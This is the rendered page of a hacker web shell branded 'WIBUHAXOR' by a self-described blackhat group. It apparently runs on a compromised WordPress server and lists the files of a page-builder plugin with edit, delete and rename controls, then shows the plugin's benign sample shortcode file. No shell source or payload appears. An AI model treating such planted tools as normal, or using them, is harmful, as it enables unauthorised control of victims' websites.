-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
plugins
/
js_composer
/
include
/
classes
/
shortcodes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
paginator
--
NONE
example.php
4.252KB
Edit File
Delete File
Rename
layerslider-vc.php
0.122KB
Edit File
Delete File
Rename
rev-slider-vc.php
0.12KB
Edit File
Delete File
Rename
shortcodes.php
41.122KB
Edit File
Delete File
Rename
vc-accordion-tab.php
5.157KB
Edit File
Delete File
Rename
vc-accordion.php
2.068KB
Edit File
Delete File
Rename
vc-basic-grid.php
18.806KB
Edit File
Delete File
Rename
vc-btn.php
2.88KB
Edit File
Delete File
Rename
vc-button.php
0.425KB
Edit File
Delete File
Rename
vc-button2.php
0.426KB
Edit File
Delete File
Rename
vc-carousel.php
0.893KB
Edit File
Delete File
Rename
vc-column-inner.php
0.193KB
Edit File
Delete File
Rename
vc-column-text.php
0.18KB
Edit File
Delete File
Rename
vc-column.php
8.254KB
Edit File
Delete File
Rename
vc-cta-button.php
0.207KB
Edit File
Delete File
Rename
vc-cta-button2.php
0.208KB
Edit File
Delete File
Rename
vc-cta.php
4.65KB
Edit File
Delete File
Rename
vc-custom-field.php
0.208KB
Edit File
Delete File
Rename
vc-custom-heading.php
5.109KB
Edit File
Delete File
Rename
vc-empty-space.php
0.121KB
Edit File
Delete File
Rename
vc-facebook.php
0.859KB
Edit File
Delete File
Rename
vc-flickr.php
1.403KB
Edit File
Delete File
Rename
vc-gallery.php
2.16KB
Edit File
Delete File
Rename
vc-gitem-animated-block.php
1.772KB
Edit File
Delete File
Rename
vc-gitem-col.php
1.495KB
Edit File
Delete File
Rename
vc-gitem-image.php
0.405KB
Edit File
Delete File
Rename
vc-gitem-post-author.php
0.286KB
Edit File
Delete File
Rename
vc-gitem-post-categories.php
0.294KB
Edit File
Delete File
Rename
vc-gitem-post-data.php
1.081KB
Edit File
Delete File
Rename
vc-gitem-post-date.php
0.547KB
Edit File
Delete File
Rename
vc-gitem-post-excerpt.php
0.484KB
Edit File
Delete File
Rename
vc-gitem-post-meta.php
0.125KB
Edit File
Delete File
Rename
vc-gitem-post-title.php
0.48KB
Edit File
Delete File
Rename
vc-gitem-row.php
0.655KB
Edit File
Delete File
Rename
vc-gitem-zone-a.php
0.291KB
Edit File
Delete File
Rename
vc-gitem-zone-b.php
0.291KB
Edit File
Delete File
Rename
vc-gitem-zone-c.php
0.227KB
Edit File
Delete File
Rename
vc-gitem-zone.php
0.154KB
Edit File
Delete File
Rename
vc-gitem.php
3.924KB
Edit File
Delete File
Rename
vc-gmaps.php
0.115KB
Edit File
Delete File
Rename
vc-googleplus.php
0.897KB
Edit File
Delete File
Rename
vc-icon.php
0.17KB
Edit File
Delete File
Rename
vc-images-carousel.php
1.519KB
Edit File
Delete File
Rename
vc-line-chart.php
0.667KB
Edit File
Delete File
Rename
vc-masonry-grid.php
1.12KB
Edit File
Delete File
Rename
vc-masonry-media-grid.php
1.068KB
Edit File
Delete File
Rename
vc-media-grid.php
3.366KB
Edit File
Delete File
Rename
vc-message.php
0.654KB
Edit File
Delete File
Rename
vc-pie.php
1.392KB
Edit File
Delete File
Rename
vc-pinterest.php
0.743KB
Edit File
Delete File
Rename
vc-posts-grid.php
5.704KB
Edit File
Delete File
Rename
vc-posts-slider.php
0.122KB
Edit File
Delete File
Rename
vc-progress-bar.php
1.188KB
Edit File
Delete File
Rename
vc-raw-html.php
1.641KB
Edit File
Delete File
Rename
vc-raw-js.php
0.97KB
Edit File
Delete File
Rename
vc-round-chart.php
0.671KB
Edit File
Delete File
Rename
vc-row-inner.php
0.276KB
Edit File
Delete File
Rename
vc-row.php
8.075KB
Edit File
Delete File
Rename
vc-separator.php
0.176KB
Edit File
Delete File
Rename
vc-single-image.php
4.366KB
Edit File
Delete File
Rename
vc-tab.php
1.874KB
Edit File
Delete File
Rename
vc-tabs.php
3.277KB
Edit File
Delete File
Rename
vc-text-separator.php
0.553KB
Edit File
Delete File
Rename
vc-toggle.php
0.64KB
Edit File
Delete File
Rename
vc-tour.php
0.541KB
Edit File
Delete File
Rename
vc-tta-accordion.php
11.069KB
Edit File
Delete File
Rename
vc-tta-pageable.php
1.062KB
Edit File
Delete File
Rename
vc-tta-section.php
6.769KB
Edit File
Delete File
Rename
vc-tta-tabs.php
4.894KB
Edit File
Delete File
Rename
vc-tta-tour.php
1.728KB
Edit File
Delete File
Rename
vc-tweetmeme.php
0.747KB
Edit File
Delete File
Rename
vc-twitter.php
0.117KB
Edit File
Delete File
Rename
vc-video.php
0.115KB
Edit File
Delete File
Rename
vc-widget-sidebar.php
0.124KB
Edit File
Delete File
Rename
<?php if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * An example of how to write WPBakery Visual Composer custom shortcode * * To create shortcodes for visual composer you need to complete 2 steps. * * 1. Create new class which extends WPBakeryShortCode. * If you are not familiar with OOP in php, don't worry follow this instruction and we will guide you how to * create valid shortcode for visual composer without learning OOP. * * 2. Need to create configurations by using wpb_map function. * * Shortcode class. * Shortcode class extends WPBakeryShortCode abstract class. * Correct name for shortcode class should look like WPBakeryShortCode_YOUR_SHORTCODE_HERE. * YOUR_SHORTCODE_HERE must contain only latin letters, numbers and symbol "_". */ /** * Shortcode class example "Hello World" * * Lets pretend that we want to create shortcode with this structure: [my_hello_world foo="bar"]Shortcode content * here[/my_hello_world] */ class WPBakeryShortCode_my_hello_world extends WPBakeryShortCode { /* * Thi methods returns HTML code for frontend representation of your shortcode. * You can use your own html markup. * * @param $atts - shortcode attributes * @param @content - shortcode content * * @access protected * vc_filter: VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG vc_shortcodes_css_class - hook to edit element class * @return string */ protected function content( $atts, $content = null ) { extract( shortcode_atts( array( 'width' => '1/2', 'el_position' => '', 'foo' => '', 'my_dropdown' => '', ), $atts ) ); $width_class = ''; $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $width_class, $this->settings['base'], $atts ); $output = '<div class="' . $css_class . '">'; $output .= '<h3>' . $foo . '</h3>'; $output .= wpb_js_remove_wpautop( $content, true ); $output .= '<p> Dropdown: ' . $my_dropdown . '</p>'; $output .= '</div>'; return $output; } } /* * Settings array to setup shortcode "Hello world" * base param is required. * * Mapping examples: $PLUGIN_DIR/config/map.php * * name - used in content elements menu and shortcode edit screen. * base - shortcode base. Example my_hello_world * class - helper class to target your shortcode in css in visual composer edit mode * icon - in order to add icon for your shortcode in dropdown menu, add class name here and style it in * your own css file. Note: bootstrap icons supported. * controls - in visual composer mode shortcodes can have different controls (popup_delete, edit_popup_delete, size_delete, popup_delete, full). Default is full. * params - array which holds your shortcode params. This params will be editable in shortcode settings page. * * Available param types: * * textarea_html (only one html textarea is permitted per shortcode) * textfield - simple input field, * dropdown - dropdown element with set of available options, * attach_image - single image selection, * attach_images - multiple images selection, * exploded_textarea - textarea, where each line will be imploded with comma (,), * posttypes - checkboxes with available post types, * widgetised_sidebars - dropdown element with set of available widget regions, * textarea - simple textarea, * textarea_raw_html - textarea, it's content will be codede into base64 (this allows you to store raw js or raw html code). * */ vc_map( array( 'base' => 'my_hello_world', 'name' => __( 'Hello World', 'js_composer' ), 'class' => '', 'icon' => 'icon-heart', 'params' => array( array( 'type' => 'textfield', 'holder' => 'h3', 'class' => '', 'heading' => __( 'Foo attribute', 'js_composer' ), 'param_name' => 'foo', 'value' => __( "I'm foo attribute", 'js_composer' ), 'description' => __( 'Enter foo value.', 'js_composer' ), ), array( 'type' => 'textarea_html', 'holder' => 'div', 'class' => '', 'heading' => __( 'Text', 'js_composer' ), 'param_name' => 'content', 'value' => __( "I'm hello world", 'js_composer' ), 'description' => __( 'Enter your content.', 'js_composer' ), ), array( 'type' => 'dropdown', 'heading' => __( 'Drop down example', 'js_composer' ), 'param_name' => 'my_dropdown', 'value' => array( 1, 2, 'three' ), 'description' => __( 'One, two or three?', 'js_composer' ), ), ), ) );
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat